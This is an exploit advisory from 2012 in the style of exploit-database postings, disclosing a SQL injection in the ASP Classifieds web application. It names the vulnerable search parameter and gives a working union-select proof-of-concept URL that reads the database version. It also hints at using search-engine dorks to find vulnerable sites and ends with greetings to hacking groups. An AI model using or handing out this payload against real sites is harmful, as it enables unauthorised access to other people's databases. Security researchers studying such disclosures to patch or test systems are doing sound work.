# Exploit Title: ASP Classifieds Sql Injection # Date: 17/03/2012 # Author: r45c4l # Email: infosecpirate@gmail.com # Script url: http://preproject.com/pclasp/home/default.asp # Version: N/A # CVE : () :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Product Description : ASP Classifieds is one of the most customizable Classified ad program that exist for ASP and Access. Unlimited Images , unlimited categories and much much more makes it perfect for those who wants to set up a used stamps classifieds to those wanting to show and sell real estates. Product Cost : 58$ =======================Exploit==================================== ---ICW--- [ EXPL0!T ] SQL Injection p0c - http://SERVER/classi/search.php?category=[SQli] PoC - http://SERVER/classi/search.php?category=-1+union+all+select+version()-- [Note: Tested on demo website] d0rk - use your brain ;) =========================================================================== Greetz to : Beenu Arora, Godwin Austin, Eberly, b0nd, the_empty_, micr0, Hoody, sam All members of ICW, AH and darkc0de, and all Indian Hackers Special Greetz to : b4ltazar and s1nner_01 === End () ====